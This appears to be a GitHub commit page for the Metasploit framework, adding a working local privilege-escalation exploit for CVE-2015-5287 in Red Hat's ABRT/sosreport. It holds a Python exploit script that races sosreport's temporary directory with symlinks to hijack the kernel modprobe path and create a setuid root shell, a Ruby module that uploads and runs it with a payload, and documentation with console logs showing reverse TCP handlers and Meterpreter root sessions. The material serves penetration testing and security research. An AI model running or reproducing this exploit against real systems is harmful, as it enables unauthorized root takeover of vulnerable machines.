-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
392 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,114 @@ | ||
#!/usr/bin/python | ||
# CVE-2015-5287 (?) | ||
# abrt/sosreport RHEL 7.0/7.1 local root | ||
# rebel 09/2015 | ||
|
||
# [user@localhost ~]$ python sosreport-rhel7.py | ||
# crashing pid 19143 | ||
# waiting for dump directory | ||
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143 | ||
# waiting for sosreport directory | ||
# sosreport: sosreport-localhost.localdomain-20151130194114 | ||
# waiting for tmpfiles | ||
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ'] | ||
# moving directory | ||
# moving tmpfiles | ||
# tmpurfpyY -> tmpurfpyY.old | ||
# tmpYnCfnQ -> tmpYnCfnQ.old | ||
# waiting for sosreport to finish (can take several minutes)........................................done | ||
# success | ||
# bash-4.2# id | ||
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 | ||
# bash-4.2# cat /etc/redhat-release | ||
# Red Hat Enterprise Linux Server release 7.1 (Maipo) | ||
|
||
import os,sys,glob,time,sys,socket | ||
|
||
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" | ||
|
||
pid = os.fork() | ||
|
||
if pid == 0: | ||
os.execl("/usr/bin/sleep","sleep","100") | ||
|
||
time.sleep(0.5) | ||
|
||
print "crashing pid %d" % pid | ||
|
||
os.kill(pid,11) | ||
|
||
print "waiting for dump directory" | ||
|
||
def waitpath(p): | ||
while 1: | ||
r = glob.glob(p) | ||
if len(r) > 0: | ||
return r | ||
time.sleep(0.05) | ||
|
||
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0] | ||
|
||
print "dump directory: ", dumpdir | ||
|
||
os.chdir(dumpdir) | ||
|
||
print "waiting for sosreport directory" | ||
|
||
sosreport = waitpath("sosreport-*")[0] | ||
|
||
print "sosreport: ", sosreport | ||
|
||
print "waiting for tmpfiles" | ||
tmpfiles = waitpath("tmp*") | ||
|
||
print "tmpfiles: ", tmpfiles | ||
|
||
print "moving directory" | ||
|
||
os.rename(sosreport, sosreport + ".old") | ||
os.mkdir(sosreport) | ||
os.chmod(sosreport,0777) | ||
|
||
os.mkdir(sosreport + "/sos_logs") | ||
os.chmod(sosreport + "/sos_logs",0777) | ||
|
||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log") | ||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log") | ||
|
||
print "moving tmpfiles" | ||
|
||
for x in tmpfiles: | ||
print "%s -> %s" % (x,x + ".old") | ||
os.rename(x, x + ".old") | ||
open(x, "w+").write("/tmp/hax.sh\n") | ||
os.chmod(x,0666) | ||
|
||
|
||
os.chdir("/") | ||
|
||
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..") | ||
|
||
|
||
def trigger(): | ||
open("/tmp/hax.sh","w+").write(payload) | ||
os.chmod("/tmp/hax.sh",0755) | ||
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) | ||
except: pass | ||
time.sleep(0.5) | ||
try: | ||
os.stat("/tmp/sh") | ||
except: | ||
print "could not create suid" | ||
sys.exit(-1) | ||
print "success" | ||
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''') | ||
sys.exit(-1) | ||
|
||
for x in xrange(0,60*10): | ||
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read(): | ||
print "done" | ||
trigger() | ||
time.sleep(1) | ||
sys.stderr.write(".") | ||
|
||
print "timed out" |
118 changes: 118 additions & 0 deletions
118
documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,118 @@ | ||
## Description | ||
|
||
This module attempts to gain root privileges on RHEL systems with | ||
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured | ||
as the crash handler. | ||
|
||
`sosreport` uses an insecure temporary directory, allowing local users | ||
to write to arbitrary files (CVE-2015-5287). This module uses a symlink | ||
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path | ||
in `/proc/sys/kernel/modprobe`, resulting in root privileges. | ||
|
||
Waiting for `sosreport` could take a few minutes. | ||
|
||
|
||
## Vulnerable Application | ||
|
||
This module has been tested successfully on: | ||
|
||
* abrt 2.1.11-12.el7 on RHEL 7.0 x86_64 | ||
* abrt 2.1.11-19.el7 on RHEL 7.1 x86_64 | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Get a session | ||
3. `use exploit/linux/local/abrt_sosreport_priv_esc` | ||
4. `set SESSION [SESSION]` | ||
5. `check` | ||
6. `run` | ||
7. You should get a new *root* session | ||
|
||
|
||
## Options | ||
|
||
**TIMEOUT** | ||
|
||
Timeout for `sosreport` (seconds) (default: `600`) | ||
|
||
**WritableDir** | ||
|
||
A writable directory file system path. (default: `/tmp`) | ||
|
||
|
||
## Scenarios | ||
|
||
### Red Hat Enterprise Linux 7.0 (x64) | ||
|
||
``` | ||
msf5 > use exploit/linux/local/abrt_sosreport_priv_esc | ||
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true | ||
verbose => true | ||
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 | ||
session => 1 | ||
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run | ||
[*] Started reverse TCP handler on 172.16.191.165:4444 | ||
[+] System is configured to use ABRT for crash reporting | ||
[+] abrt-ccpp service is running | ||
[+] ABRT package version 2.1.11-12.el7 is vulnerable | ||
[+] python is installed | ||
[*] Writing '/tmp/.DcxBT2w' (2756 bytes) ... | ||
[*] Writing '/tmp/.HUAWYz' (207 bytes) ... | ||
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ... | ||
[*] Transmitting intermediate stager...(106 bytes) | ||
[*] Sending stage (985320 bytes) to 172.16.191.151 | ||
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.151:50843) at 2019-04-20 07:21:24 -0400 | ||
[+] Deleted /tmp/.DcxBT2w | ||
[+] Deleted /tmp/.HUAWYz | ||
[+] Deleted /tmp/hax.sh | ||
[*] waiting for sosreport to finish (can take several minutes).................... | ||
meterpreter > getuid | ||
Server username: uid=0, gid=1000, euid=0, egid=1000 | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-123.el7.x86_64) | ||
Architecture : x64 | ||
BuildTuple : i486-linux-musl | ||
Meterpreter : x86/linux | ||
meterpreter > | ||
``` | ||
|
||
|
||
### Red Hat Enterprise Linux 7.1 (x64) | ||
|
||
``` | ||
msf5 > use exploit/linux/local/abrt_sosreport_priv_esc | ||
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true | ||
verbose => true | ||
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1 | ||
session => 1 | ||
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run | ||
[*] Started reverse TCP handler on 172.16.191.165:4444 | ||
[+] System is configured to use ABRT for crash reporting | ||
[+] abrt-ccpp service is running | ||
[+] ABRT package version 2.1.11-19.el7 is vulnerable | ||
[+] python is installed | ||
[*] Writing '/tmp/.gFrwiGr' (2756 bytes) ... | ||
[*] Writing '/tmp/.NA4fwK' (207 bytes) ... | ||
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ... | ||
[*] Transmitting intermediate stager...(106 bytes) | ||
[*] Sending stage (985320 bytes) to 172.16.191.218 | ||
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.218:51022) at 2019-04-20 07:23:24 -0400 | ||
[*] waiting for sosreport to finish (can take several minutes).............. | ||
meterpreter > getuid | ||
Server username: uid=0, gid=1000, euid=0, egid=1000 | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64) | ||
Architecture : x64 | ||
BuildTuple : i486-linux-musl | ||
Meterpreter : x86/linux | ||
meterpreter > | ||
``` | ||
|
160 changes: 160 additions & 0 deletions
160
modules/exploits/linux/local/abrt_sosreport_priv_esc.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,160 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Post::Linux::Priv | ||
include Msf::Post::Linux::System | ||
include Msf::Post::Linux::Kernel | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'ABRT sosreport Privilege Escalation', | ||
'Description' => %q{ | ||
This module attempts to gain root privileges on RHEL systems with | ||
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured | ||
as the crash handler. | ||
`sosreport` uses an insecure temporary directory, allowing local users | ||
to write to arbitrary files (CVE-2015-5287). This module uses a symlink | ||
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path | ||
in `/proc/sys/kernel/modprobe`, resulting in root privileges. | ||
Waiting for `sosreport` could take a few minutes. | ||
This module has been tested successfully on: | ||
abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and | ||
abrt 2.1.11-19.el7 on RHEL 7.1 x86_64. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'rebel', # Discovery and sosreport-rhel7.py exploit | ||
'bcoles' # Metasploit | ||
], | ||
'DisclosureDate' => '2015-11-23', | ||
'Platform' => ['linux'], | ||
'Arch' => | ||
[ | ||
ARCH_X86, | ||
ARCH_X64, | ||
ARCH_ARMLE, | ||
ARCH_AARCH64, | ||
ARCH_PPC, | ||
ARCH_MIPSLE, | ||
ARCH_MIPSBE | ||
], | ||
'SessionTypes' => ['shell', 'meterpreter'], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'References' => | ||
[ | ||
['BID', '78137'], | ||
['CVE', '2015-5287'], | ||
['EDB', '38832'], | ||
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'], | ||
['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'], | ||
['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'], | ||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837'] | ||
] | ||
)) | ||
register_options [ | ||
OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600']) | ||
] | ||
register_advanced_options [ | ||
OptBool.new('ForceExploit', [false, 'Override check result', false]), | ||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) | ||
] | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'] | ||
end | ||
|
||
def timeout | ||
datastore['TIMEOUT'] | ||
end | ||
|
||
def check | ||
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' | ||
unless kernel_core_pattern.include? 'abrt-hook-ccpp' | ||
vprint_error 'System is not configured to use ABRT for crash reporting' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'System is configured to use ABRT for crash reporting' | ||
|
||
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' | ||
vprint_error 'abrt-ccp service not running' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'abrt-ccpp service is running' | ||
|
||
# Patched in 2.1.11-35.el7 | ||
pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s | ||
abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1] | ||
if abrt_version.blank? | ||
vprint_status 'Could not retrieve ABRT package version' | ||
return CheckCode::Safe | ||
end | ||
unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7') | ||
vprint_status "ABRT package version #{abrt_version} is not vulnerable" | ||
return CheckCode::Safe | ||
end | ||
vprint_good "ABRT package version #{abrt_version} is vulnerable" | ||
|
||
unless command_exists? 'python' | ||
vprint_error 'python is not installed' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'python is installed' | ||
|
||
CheckCode::Appears | ||
end | ||
|
||
def upload_and_chmodx(path, data) | ||
print_status "Writing '#{path}' (#{data.size} bytes) ..." | ||
rm_f path | ||
write_file path, data | ||
chmod path | ||
register_file_for_cleanup path | ||
end | ||
|
||
def exploit | ||
unless check == CheckCode::Appears | ||
unless datastore['ForceExploit'] | ||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' | ||
end | ||
print_warning 'Target does not appear to be vulnerable' | ||
end | ||
|
||
if is_root? | ||
unless datastore['ForceExploit'] | ||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' | ||
end | ||
end | ||
|
||
unless writable? base_dir | ||
fail_with Failure::BadConfig, "#{base_dir} is not writable" | ||
end | ||
|
||
exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py') | ||
exe_name = ".#{rand_text_alphanumeric 5..10}" | ||
exe_path = "#{base_dir}/#{exe_name}" | ||
upload_and_chmodx exe_path, exe_data | ||
|
||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" | ||
upload_and_chmodx payload_path, generate_payload_exe | ||
|
||
register_file_for_cleanup '/tmp/hax.sh' | ||
|
||
print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..." | ||
output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout | ||
output.each_line { |line| vprint_status line.chomp } | ||
end | ||
end |